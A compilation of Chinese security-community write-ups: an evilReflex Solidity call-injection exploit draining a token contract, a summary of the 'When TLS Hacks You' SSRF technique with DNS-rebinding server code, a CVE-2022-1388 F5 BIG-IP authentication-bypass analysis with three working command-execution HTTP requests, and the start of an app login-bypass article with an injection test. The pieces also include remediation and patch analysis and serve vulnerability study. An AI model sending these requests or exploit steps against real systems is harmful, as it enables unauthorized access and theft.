allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//Call the contract code
if(!_spender.call(_extraData)) { revert(); }
return true;
}
}
首先编译部署合约：
部署信息如下：
合约地址：0xf8e81D47203A594245E36C48e151709F0C19fBe8
合约资产：10090000000000000000000000
账号地址：0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
账号资产：10090000000000000000000000
之后将transfer(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,10090000000000000000000000)加密为bytecode，我们这里使用0x5B38Da6a701c568545dCfcB03FcB875f56beddC4地址账户来调用transfer的方式来获取bytecode(自己向自己转账)：
交易信息如下，从中提取bytecode：
0xa9059cbb0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000858a3fefb18d88e400000
也可以通过部署一些testABI.sol文件来获取对应的bytecode信息：
pragma solidity ^0.4.26;
contract testABI {
function abiEncode() public view returns (bytes memory) {
return abi.encodeWithSignature("transfer(address,uint256)",0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,10090000000000000000000000);
}
}
部署合约后运行结果如下：
之后查看合约资产：
账户资产：
下面我们进入漏洞利用阶段来调用approveAndCallcode，相关参数如下：
* _spender参数：存在漏洞的合约地址
* _extraData参数：transfer(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,10090000000000000000000000)的bytecode
这样一来在调用approveAndCallcode函数时将发出一个transfer调用，此时的资产接受地址为攻击者构造的_extraData中的to地址信息，token数量为_extraData中的value值，下面我们调用来看看这个流程：
approveAndCallcode(
0xf8e81D47203A594245E36C48e151709F0C19fBe8,
0,
0xa9059cbb0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000858a3fefb18d88e400000
)
交易信息如下：
之后查看合约资产————为0
之后查看账户资产————翻倍
#### 安全建议
造成evilReflex漏洞的根本原因还是在于call注入，在合约开发过程中应尽量避免call调用中方法选择器可控以及相关参数的可控性或者直接指定方法选择器来规避类evilReflex安全问题的发生。
#### 参考链接
<https://github.com/Al1ex/EvilReflex>
<https://blog.peckshield.com/2018/06/23/evilReflex/>
* * * | 社区文章 |
## 前言
这是今年BlackHat上的一个议题：[When TLS Hacks
You](https://securityboulevard.com/2020/08/def-con-safe-mode-joshua-madduxs-when-tls-hacks-you/)，作者是latacora的Joshua Maddux
议题提出了一个新的ssrf攻击思路，利用DNS重绑定技术和https的优化算法（TLS Session
resumption）的缺陷，将受限的SSRF变为通用的SSRF。攻击方法与之前的SNI
injection类似，但是这次利用的是TLS的一种特性，而不是在特定实现中的bug。
本文是对`When TLS Hacks You`这一议题的一些简单总结和分析，如有错误或不当之处请大佬们多多包涵。
## 背景知识
### SSRF
#### 原理
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能，但又没有对目标地址做严格过滤与限制，导致攻击者可以传入任意的地址来让后端服务器对其发起请求，并返回对该目标地址请求的数据。
#### 危害
1. 内网、本地端口扫描，获取开放端口信息
2. 主机信息收集，web应用指纹识别，获取服务banner信息
3. 根据识别出的应用针对性的发送payload攻击，例如struts2
4. 攻击内网和本地的应用程序及服务。
5. 穿越防火墙
6. 利用file协议读取本地文件，比如`file:///etc/passwd`
#### 常用协议
协议名称 | 简介
---|---
Gopher协议 | 攻击内部应用的主力军
Dict协议 | 端口探测，版本信息收集
ftp协议 | 探测是否存在ftp
http协议 | 探测是否存在ssrf
file协议 | 读取本地文件
注：jdk1.7后java不再支持gopher
#### 防御手段
1. 禁止跳转
2. 过滤返回信息
3. 禁用不需要的协议
4. 设置URL白名单或者限制内网IP
5. 限制请求的端口为http常用的端口
6. 统一错误信息
在请求资源前先访问DNS服务器判断是否为内网IP
### DNS rebinding
针对上图防御手段的一种绕过
#### TTL
> TTL是英语Time-To-> Live的简称，意思为一条域名解析记录在DNS服务器中的存留时间。当各地的DNS服务器接受到解析请求时，就会向域名指定的NS服务器发出解析请求从而获得解析记录；在获得这个记录之后，记录会在DNS服务器中保存一段时间，这段时间内如果再接到这个域名的解析请求，DNS服务器将不再向NS服务器发出请求，而是直接返回刚才获得的记录；而这个记录在DNS服务器上保留的时间，就是TTL值。
它表示DNS记录在DNS服务器上缓存的时间,数值越小,修改记录各地生效的时间越快。
#### DNS解析
1. DNS区域是一个层次结构的空间, 根域名服务器->子域名服务器->二代子域名服务器
2. DNS查询方式: 递归和迭代
##### 递归
##### 迭代
##### 解析流程
1. 检查浏览器缓存中是否缓存过该域名对应的IP地址
2. 如果在浏览器缓存中没有找到IP，那么将继续查找本机系统（如HOSTS文件）是否缓存过IP
3. 向本地域名解析服务系统（路由器或者内网DNS服务）发起域名解析的请求
4. 开始递归查询运营商dns -> 根域名服务器 -> 顶级域名(gTLD)服务器 -> 我们设置NS域名服务器。(这一步很重要,我们可以递归向下设置TTL的值)
5. NS返回IP地址给本地服务器，本地服务器缓存解析结果（TTL）
6. 解析结果返回给用户，建立TCP通信
#### DNS重绑定
当我们发起域名解析请求的时候,第一次访问会返回一个ip地址A,但是当我们发起第二次域名解析请求的时候,却会返回一个不同于A的ip地址B。
攻击思路是基于这种SSRF防御思路的基础上的,检查逻辑是第一次DNS查询请求确定host是不是内网IP,第二次请求的时候存在一个小间隔,导致了解析的差异性。
#### 尝试
如下图设置好域名的A记录及NS记录，指定DNS服务器为自己搭建的
在vps上运行代码启动DNS服务（嫖的大佬的代码实现）
# -*- coding:utf-8 -*- from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
def _doDynamicResponse(self, query):
name = query.name.name
if name not in record or record[name]<1:
ip="106.56.229.29" #这个ip只要是外网ip就行
else:
ip="127.0.0.1"
if name not in record:
record[name]=0
record[name]+=1
print name+" ===> "+ip
answer = dns.RRHeader(
name=name,
type=dns.A,
cls=dns.IN,
ttl=0, # 这里设置DNS TTL为 0
payload=dns.Record_A(address=b'%s'%ip,ttl=0)
)
answers = [answer]
authority = []
additional = []
return answers, authority, additional
def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))
def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)
protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()
if __name__ == '__main__':
raise SystemExit(main())
可以看到代码用twisted实现了dns服务，并且设置了TTL为0
效果如下
### TLS session resumption
#### TLS shake
一个完整的 TLS 握手需要两次
1. Client 发送 ClientHello；Server 回复 ServerHello
2. Client 回复最终确定的 Key，Finished；Server 回复 Finished
3. 握手完毕，Client 发送加密后的 HTTP 请求；Server 回复加密后的 HTTP 响应
这一过程的花费是 2RTT（Round-Trip-Time），为了减少这一开销，可以用TLS session
resumpition将密钥缓存起来，下次建立链接时直接使用。
优化方案 | 原理
---|---
session id | 服务端记住会话状态，客户端发带session id的client hello，服务端返回之前存储的SSL会话
session ticket | 客户端记住会话状态，服务端记住用于加密返回给客户端的ticket的密钥
PSK | 客户端和服务器第一次建立会话时，会生成一个PSK（pre-shared key）。服务器会用ticket key去加密
PSK，作为Session Ticket返回
`session id` 的相关数据是存放在 server 端，`session ticket` 是存放在 client 端， 在这个攻击手法中
`session id`只能存放 32 byte 的 payload，`session ticket` 则能放更多字节的 payload。
#### https协议的实现（CURL）
在[curl的实现代码](https://clickhouse.tech/codebrowser/html_report/ClickHouse/contrib/curl/lib/vtls/vtls.c.html#344)中只检查了域名、端口和协议。而没有检查IP，因此可以用DNS重绑定的手段。
## 攻击方式
将上述三者结合，利用DNS缓存和TLS协议将受限SSRF变为通用SSRF。
### 实际漏洞案例
1. Youtrack — [CVE-2019-12852](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12852)JetBrains YouTrack 服务的SSRF
2. Nextcloud — 一个分享功能造成的SSRF，使用TLS重绑定攻击本地的memcached
### 攻击面
此种攻击手法需要三个条件，大部分受限的SSRF，带外通信的TLS session，本地端口上运行的应用。
#### SSRF攻击点
* OIDC discovery(sometimes)
* Webpush
* Webmention
* Apple Pay Web
* In browsers, just phishing people (Then we call it CSRF)
* Wificaptive portals
* SSDP
* SVG conversion
* URL-based XXE
* Scraping
* Webhooks
* PDF renderers with images enabled
#### TLS session缓存情况
#### 易受攻击的内网应用
### 攻击流程
#### Demo：Phishing->CSRF->RCE
作者给了一个Demo。假设受害者是一个使用django.core.cache的项目的开发者，并且使用了memcached。受害者在Chrome等易受影响的浏览器中浏览电子邮件。受害者有一定安全意识，不会下载邮件中的附件。
攻击者会制作一封钓鱼邮件
邮件中的图片标签指向攻击者准备好的网站
然后弹计算器
整个攻击流程如图所示
1. 攻击者制作钓鱼邮件，内容标签会向`[ssltest.jmaddux.com:11211](https://ssltest.jmaddux.com:11211)`（攻击者准备的网站）发起请求
2. 受害者打开邮件，内容开始加载并请求域名
3. 受害者客户端向`ssltest.jmaddux.com`的NS记录指定的DNS服务器请求DNS解析，DNS服务由攻击者搭建的DNS Server提供
4. DNS服务器返回正常对应的TLS Server地址，并且设置TTL为0
5. 客户端发送Client Hello
6. 服务端返回Server Hello，并在包中设置payload（添加在`session id`/`session ticket`/`psk`字段中）
7. 进行后续的TLS握手
8. 握手完成后进行http通信时，网站返回301跳转到`[ssltest.jmaddux.com:11211](https://ssltest.jmaddux.com:11211)`
9. 由于之前设置TTL为0，客户端再次向DNS服务器询问网站IP地址
10. 此时DNS服务器返回`127.0.0.1`
11. 由于TLS会话重用的优化算法，客户端会读取带有payload的SSL会话缓存访问`127.0.0.1:11211`
12. payload加载完成RCE
## 未来工作
作者在讲述未来工作时提出了要建设更好的测试基础设施
* Alternating DNS Server：实现DNS重绑定
* Custom TLS：提供https服务，并传输payload
* Just netcat：监控受害者与Custom TLS的交互流量，判断攻击状态
github项目：<https://github.com/jmdx/TLS-poison>
## 防御手段
作者提出了三种防御手段
1. 改变缓存的key值
* 现在是(`hostname`,`port`)，修改为(`hostname`,`port`,`ip_addr`)更好
* 对于大型TLS部署的问题
* 可以修改为(`hostname`,`port`,`addr_type(ip_addr)`)
* 类似于[CORS and RFC1918](https://wicg.github.io/cors rfc1918/)
2. 禁用带外通信时的TLS session resumption
配置
libcurl: CURLOPT_SSL_SESSIONID_CACHE=false
firefox: security.ssl.disable_session_identifiers=true
Tor browser: disabled by default
Java, Nodejs, Chrome, others: no option
3. WEB APP
* web app不能禁止TLS session resumption
* 关注类似 webhooks, apple pay 的应用
* 对出站请求设置代理进行监控（比如[smokescreen工具](https://github.com/stripe/smokescreen)）
* 阻止未进行身份校验的内部TCP内容运行，特别是带换行符的内容
其实从其他方面也能防御，比如杜绝DNS重绑定，第一次解析后直接使用解析返回的ip替换域名访问url
## 总结
这个议题技术覆盖比较全面，攻击手法也很新颖，作者在介绍的过程中也提出了对安全与性能之间平衡的思考：https本来是防止中间人攻击提出的安全协议，却因为对此的优化算法使其变得易受攻击。安全开销与时间开销如何取舍？
无论是议题本身还是作者挖掘漏洞的方法，思考问题的全面性，都有很多值得我们学习的地方。
作者最后也提出了一些总结：
* 过去可能不太重视https在SSRF中的应用，这个攻击方式证明TLS对SSRF来说是有用的
* 随时关注了解最新的技术手段对于打破常规是很有帮助的
* 我们需要认真考虑TLS会话重用的利弊
## 参考
<https://github.com/jmdx/TLS-poison>
<https://portswigger.net/daily-swig/when-tls-hacks-you-security-friend-becomes-a-foe>
<https://securityboulevard.com/2020/08/def-con-safe-mode-joshua-madduxs-when-tls-hacks-you/>
<https://defcon.org/html/defcon-safemode/dc-safemode-speakers.html#Maddux>
<https://xz.aliyun.com/t/7495>
<https://wiki.jikexueyuan.com/project/openresty/ssl/session_resumption.html>
<https://mp.weixin.qq.com/s/GT3Wlu_2-Ycf_nhWz_z9Vw>
<https://mp.weixin.qq.com/s/-NABL-xz1Allxr6SKGiYcQ> | 社区文章 |
## 概述
官网5月5日漏洞通告：<https://support.f5.com/csp/article/K23605346>
漏洞影响面：
作为java初学者，尝试基于大佬们的文章稍微深入的分析了一下，因为能力不足，在分析过程中其实没有保留一个很严谨的思路和逻辑，反倒像自己一些疑问点的探析，可能有点乱，希望能给观者启发，同时求大佬们轻锤。
## 分析
根据我的上一篇文章对CVE-2021-22986的分析可知
由于数据流是apache获取后根据url的模式将数据包转发给8100的jetty，针对F5 BIG-IP iControl REST
API的认证绕过要过两关，分别是apache的认证以及jetty的认证。
### apache认证验证逻辑
在CVE-2021-22986影响版本中（我的是16.0.0），针对apache的认证绕过只要满足包头中存在X-F5-Auth-Token字段即可绕过，但是CVE-2021-22986修复版本（我使用的是16.1.2.1）中进行了修复，如果包头X-F5-Auth-Token参数为空则会直接返回401，如果不为空则依然可以转发至jetty。
### jetty认证验证逻辑
另外，在CVE-2021-22986影响版本中，jetty认证校验中只要求取包头X-F5-Auth-Token的值结果为null，同时Authorization头中username有效即可(admin为默认有效的username)，在CVE-2021-22986修复版本中，则首先会判断包头X-F5-Auth-Token的值结果是否为null，如果不是则使用包头X-F5-Auth-Token的值验证，如果为空则根据Authorization的值来进行判断。
根据CVE-2021-22986修复版本（我使用的是16.1.2.1）中setIdentityFromBasicAuth可知
private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null) {
return false;
} else {
final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");
if (xForwardedHostHeaderValue == null) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
} else {
String[] valueList = xForwardedHostHeaderValue.split(", ");
int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0;
if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) {
if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
} else {
boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true");
if (PasswordUtil.isPasswordReset() && !isPasswordExpired) {
AuthProviderLoginState loginState = new AuthProviderLoginState();
loginState.username = components.userName;
loginState.password = components.password;
loginState.address = request.getRemoteSender();
RestRequestCompletion authCompletion = new RestRequestCompletion() {
public void completed(RestOperation subRequest) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
}
public void failed(Exception ex, RestOperation subRequest) {
RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[]{ex.getMessage()});
if (ex.getMessage().contains("Password expired")) {
request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));
}
if (runnable != null) {
runnable.run();
}
}
};
try {
RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), (Integer)null)).setCompletion(authCompletion);
RestRequestSender.sendPost(subRequest);
} catch (URISyntaxException var11) {
LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[]{var11.getMessage()});
}
return true;
} else {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
}
}
} else {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
}
}
}
}
static {
TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" + TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login";
}
}
修复后的代码针对请求头的X-Forwarded-Host这个list中最后一个元素做了检查，如果是127.0.0.1，或者是127.4.2.1同时username是f5hubblelcdadmin,则依然可以通过认证，但是其他的请求则无法直接通过认证，会检查认证是否过期，如果过期则使用Authoriaztion头中的口令密码重新验证。
### hop-by-hop
根据[ **hop-by-hop headers**](https://book.hacktricks.xyz/pentesting-web/abusing-hop-by-hop-headers)
据[RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1)，HTTP/1.1
规范默认将以下标头视为逐跳：`Keep-Alive`、`Transfer-Encoding`、`TE`、`Connection`、`Trailer`、`Upgrade`和。当在请求中遇到这些标头时，兼容的代理应该处理或操作这些标头所指示的任何内容，而不是将它们转发到下一个跃点.
**除了这些默认值之外，请求还可以定义一组自定义的标头，通过将它们添加到connection中来[逐跳处理](https://tools.ietf.org/html/rfc2616#section-14.10)，如下所示**
Connection: close, X-Foo, X-Bar
这样子，不仅Connection不会呗转发到下一个跃点，而且其中定义的标头X-Foo、X-Bar也同样。参考以下示意图
### 组合实现漏洞绕过
一个有效的触发数据包是这样的
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46
X-F5-Auth-Token: a
connection: X-F5-Auth-Token
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}
我们可以大胆猜测，在apache检查中，因为头部X-F5-Auth-Token存在值且不为空，所以成功绕过验证；
在转发给jetty处理时根据hop-by-hop会将connection头以及X-F5-Auth-Token去掉转发；
在jetty验证中，再次取X-F5-Auth-Token值为空，X-Forwarded-Host会将Host字段的值添加进来，检查结果为127.0.0.1，且Authoriaztion中username有效(admin)，因而认证通过。
如果我们的猜测正确，那么发送以下数据包也应该成功(将Host
ip设置为127.4.2.1，Authoriaztion的username设置为f5hubblelcdadmin)
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.4.2.1
Authorization: Basic ZjVodWJibGVsY2RhZG1pbjo=
X-F5-Auth-Token: a
Connection: X-F5-Auth-Token
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}
测试确实成功：
并且如果在Host值为127.4.2.1的情况下将Authorization的username值设置为admin的话，则会失败，测试确实如所料
## 调试
为了验证猜想正确，进行调试分析
调试开启步骤参考上一篇文章，即编辑`/var/service/restjavad/run`文件，加入
JVM_OPTIONS+=" -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8777"
同时，防火墙开启8777端口
[root@localhost:NO LICENSE:Standalone] / # tmsh
root@(localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos)# security firewall
root@(localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos.security.firewall)# modify management-ip-rules rules add { allow-access-8777 { action accept destination { ports add { 8777 } } ip-protocol tcp place-before first } }
然后使用idea连接远程调试即可
断点直接下在RestServerServlet.class的service函数中即可，直接看apache传过来的request
先发送一个可以触发漏洞的包：
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46
X-F5-Auth-Token: a
Connection: X-F5-Auth-Token
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}
此时，在断点处获取到的op的值为
[
id=4255273
referer=null
uri=http://localhost:8100/mgmt/tm/util/bash
method=POST
statusCode=200
contentType=application/json
contentLength=41
contentRange=null
deadline=Tue May 24 12:16:12 PDT 2022
body=null
forceSocket=false
isResponse=false
retriesRemaining=5
coordinationId=null
isConnectionCloseRequested=false
isConnectionKeepAlive=true
isRestErrorResponseRequired=true
AdditionalHeadersAsString=
Request: 'Local-Ip-From-Httpd'='172.16.113.247'
'X-Forwarded-Proto'='http'
'X-Forwarded-Server'='localhost.localdomain'
'X-F5-New-Authtok-Reqd'='false'
'X-Forwarded-Host'='127.0.0.1'
Response:<empty>
ResponseHeadersTrace=
X-F5-Config-Api-Status=0]
可以看到，X-Forwarded-Host的值就是我们果然传进入的host的值，因为基本上确定，apache在处理过程中将host头参数添加到X-Forwarded-Host参数中并传递给jetty,通过字符串匹配的方法，我们查找并确定时/etc/httpd/modules/mod_proxy.so在处理这个头
可以看到，apache在处理过程中会调用mod_proxy.so，将Host的值添加到X-Forwarded-Host这个值当中，然后再传递给jetty，jetty又会根据X-Forwarded-Host的值来进行权限验证，整体流程基本清楚。
但是这里我们看到，程序是使用了apr_table_mergen这个方法来将Host的值添加到X-Forwarded-Host当中，而不是使用apr_table_set这个方法直接设置，所以我们试想，如果在发送给apache的包中直接就包含有效的X-Forwarded-Host值会如何呢？
测试发现失败的
在断点处获得op的值为：
[
id=4260158
referer=null
uri=http://localhost:8100/mgmt/tm/util/bash
method=POST
statusCode=200
contentType=application/json
contentLength=41
contentRange=null
deadline=Tue May 24 12:40:23 PDT 2022
body=null
forceSocket=false
isResponse=false
retriesRemaining=5
coordinationId=null
isConnectionCloseRequested=false
isConnectionKeepAlive=true
isRestErrorResponseRequired=true
AdditionalHeadersAsString=
Request: 'Local-Ip-From-Httpd'='172.16.113.247'
'X-Forwarded-Proto'='http'
'X-Forwarded-Server'='localhost.localdomain'
'X-F5-New-Authtok-Reqd'='false'
'X-Forwarded-Host'='127.0.0.1, 123.123.123.123'
Response:<empty>
ResponseHeadersTrace=
X-F5-Config-Api-Status=0]
经过调试分析可以看到，jetty拿到的数据包中的X-Forwarded-Host参数融合了Host和原始发送给apache的X-Forwarded-Host参数的值，但是jetty在认证检查setIdentityFromBasicAuth中检查的是X-Forwarded-Host这个列表中最后一个元素的值（即Host头的值），所以只有host的值为127.0.0.1或者127.4.2.1才行
private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null) {
return false;
} else {
final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");
if (xForwardedHostHeaderValue == null) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
} else {
String[] valueList = xForwardedHostHeaderValue.split(", ");
int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0;
if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) {
if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
} else {
boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true");
if (PasswordUtil.isPasswordReset() && !isPasswordExpired) {
AuthProviderLoginState loginState = new AuthProviderLoginState();
loginState.username = components.userName;
loginState.password = components.password;
loginState.address = request.getRemoteSender();
RestRequestCompletion authCompletion = new RestRequestCompletion() {
public void completed(RestOperation subRequest) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
}
public void failed(Exception ex, RestOperation subRequest) {
RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[]{ex.getMessage()});
if (ex.getMessage().contains("Password expired")) {
request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));
}
if (runnable != null) {
runnable.run();
}
}
};
try {
RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), (Integer)null)).setCompletion(authCompletion);
RestRequestSender.sendPost(subRequest);
} catch (URISyntaxException var11) {
LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[]{var11.getMessage()});
}
return true;
} else {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
}
}
} else {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
}
}
}
}
static {
TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" + TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login";
}
}
但是，在jetty中，在RestServerServlet.class中setHostIpAddress中在获取到请求时会检查包头中是否有X-Forwarded-Host参数，如果有则跳过继续运行，如果没有的话则会赋值localhost。所以可以想到，在apache转发给jetty的请求中如果X-Forwarded-Host的值为空或者不存在，也可以绕过认证
如果直接发送给apache的包头中去掉Host参数，同时也没有X-Forwarded-Host参数的话，jetty获取到的X-Forwarded-Host值应该是空的，但是经过测试，Host参数不能缺少，否则报错
所以可以考虑通过hop-by-hop的方法，将X-Forwarded-Host添加在connection当中，这样子，在转发给jetty的X-Forwarded-Host参数应该也是空，尝试果然可以
测试果然如所料：
## 几种绕过模式总结
经过以上分析，发现绕过apache的思路其实比较单一，就是头中包含X-F5-Auth-Token，并且在connection中包含X-F5-Auth-Token
但是绕过jetty的方式不止一种，简单总结一下：
1. host的值为127.0.0.1、localhost等值，Authorization为admin的base64
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46
X-F5-Auth-Token: a
Connection: X-F5-Auth-Token
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}
2. host的值为127.4.2.1，Authoriaztion为f5hubblelcdadmin的base64
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.4.2.1
Authorization: Basic ZjVodWJibGVsY2RhZG1pbjo=
X-F5-Auth-Token: a
Connection: X-F5-Auth-Token
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}
3. host值为默认，connection中包含X-Forwarded-Host的值，造成jetty在检查X-Forwarded-Host发现为空所以置localhost进而绕过
POST /mgmt/tm/util/bash HTTP/1.1
Host: 172.16.113.244
Authorization: Basic YWRtaW46
X-F5-Auth-Token: a
connection: X-F5-Auth-Token, X-Forwarded-Host
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}
## 修复
安装16.1.2.2修复版本，查看修复情况
### mod_auth_pam修复情况
简单查看mod_auth_pam.so针对X-F5-Auth-Token处理的变化
老版本中（16.1.2.1）中，只检查X-F5-Auth-Token的值不为空即可绕过认证
但是在修复版本（16.1.2.2）中X-F5-Auth-Token不仅不能为空，而且要检查正确性，有效才通过认证
### Apache配置文件修复情况
╰─$ diff ./16.1.2.1/httpd.conf ./16.1.2.2/httpd.conf
1006a1007,1015
> <If "%{HTTP:connection} =~ /close/i ">
> RequestHeader set connection close
> </If>
> <ElseIf "%{HTTP:connection} =~ /keep-alive/i ">
> RequestHeader set connection keep-alive
> </ElseIf>
> <Else>
> RequestHeader set connection close
> </Else>
可以看出配置中新增选项，如果头connection中只要有close字段，则直接将connection的值设置为close，如果头connection中只要有keep-alive字段，则直接将connection的值设置为keep-alive,去除了通过hop-by-hop除去X-F5-Auth-Token头的可能性
实际测试一下，发送以下数据包：
POST /mgmt/tm/util/bash HTTP/1.1
Host: 172.16.113.244
Authorization: Basic YWRtaW46YWRtaW4=
connection: close, X-Forwarded-Host
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}
在jetty中下断点，发现X-Forwarded-Host依然存在，且取的是host的值，可判断，通过hop-by-hop除去X-F5-Auth-Token头的方法也不存在
[
id=1690145
referer=null
uri=http://localhost:8100/mgmt/tm/util/bash
method=POST
statusCode=200
contentType=application/json
contentLength=41
contentRange=null
deadline=Fri May 27 06:17:23 PDT 2022
body=null
forceSocket=false
isResponse=false
retriesRemaining=5
coordinationId=null
isConnectionCloseRequested=false
isConnectionKeepAlive=true
isRestErrorResponseRequired=true
AdditionalHeadersAsString=
Request: 'Tmui-Dubbuf'='mbDASW8cWiBbzv7Ey2zxzKtX'
'REMOTECONSOLE'='/bin/false'
'REMOTEROLE'='0'
'Session-Invalid'='true'
'X-Forwarded-Proto'='http'
'X-Forwarded-Host'='172.16.113.244'
'X-F5-New-Authtok-Reqd'='false'
'Local-Ip-From-Httpd'='172.16.113.245'
'X-Forwarded-Server'='localhost.localdomain'
Response:<empty>
ResponseHeadersTrace=
X-F5-Config-Api-Status=0]
## 参考
[1] [从滥用HTTP hop by hop请求头看CVE-2022-1388](https://y4er.com/post/from-hop-by-hop-to-cve-2022-1388/)
[2] [hop-by-hop headers](https://book.hacktricks.xyz/pentesting-web/abusing-hop-by-hop-headers)
[3] [CVE-2022-1388 F5 BIG-IP iControl REST
处理进程分析与认证绕过漏洞复现](https://mp.weixin.qq.com/s?__biz=Mzg3MTU0MjkwNw==&mid=2247489581&idx=1&sn=52811f2a353bf61a756dd324960f0feb)
[4] [BIG-IP(CVE-2022-1388)从修复方案分析出exp](https://cn-sec.com/archives/993185.html)
[5] [F5 BIG-IP 未授权 RCE（CVE-2022-1388）分析](https://paper.seebug.org/1893/)
[6] [CVE-2022-1388漏洞分析](http://buaq.net/go-111634.html) | 社区文章 |
# App渗透 - 人脸识别登录绕过
打开APP是一个登录框
抓包后发现参数被加密了
使用`Jadx`脱源码发现，并没有加壳也没有混淆，运气很好
根据经验，先搜索`Encrypt、Decrypt`等关键字，发现在Common.js中有一个`encryptData`函数
定位过去，一套加解密算法都写好了放在这
放到浏览器console里面调试，果然没错
首先测试了一下注入
明文：{"userName":"TEST'","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
